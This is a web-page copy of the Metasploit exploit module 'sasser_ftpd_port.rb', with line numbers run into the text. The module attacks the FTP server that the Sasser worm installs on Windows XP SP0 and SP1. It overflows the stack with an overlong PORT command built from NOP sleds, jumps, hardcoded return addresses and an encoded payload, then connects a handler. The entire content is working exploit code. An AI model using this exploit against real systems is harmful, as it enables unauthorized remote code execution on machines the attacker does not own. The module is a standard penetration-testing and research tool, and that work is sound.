Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ftp/sasser_ftpd_port.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(update_info(info,12'Name' => 'Sasser Worm avserve FTP PORT Buffer Overflow',13'Description' => %q{14This module exploits the FTP server component of the Sasser worm.15By sending an overly long PORT command the stack can be overwritten.16},17'Author' => [ '<valsmith[at]metasploit.com>', '<chamuco[at]gmail.com>', 'aushack' ],18'Arch' => [ ARCH_X86 ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'OSVDB', '6197'],23],24'DefaultOptions' =>25{26'EXITFUNC' => 'thread',27},28'Platform' => ['win'],29'Privileged' => false,30'Payload' =>31{32'Space' => 480,33'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",34'StackAdjustment' => -3500,35},36'Targets' =>37[38[ 'Windows XP SP0', { 'Ret' => 0x71aa32ad } ], #p/p/r ws2help.dll39[ 'Windows XP SP1', { 'Ret' => 0x77e7633a } ], #p/p/r40],41'DisclosureDate' => '2004-05-10',42'DefaultTarget' => 1))4344register_options(45[46Opt::RPORT(5554),47])48end4950def exploit51connect5253print_status("Trying target #{target.name}...")5455sploit = make_nops(267) + Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target['Ret']].pack('V')56sploit << Rex::Arch::X86.jmp(0xfffffc13) + make_nops(15) + payload.encoded + make_nops(1530)5758send_cmd( ['PORT', sploit] , false)5960handler61disconnect62end63end646566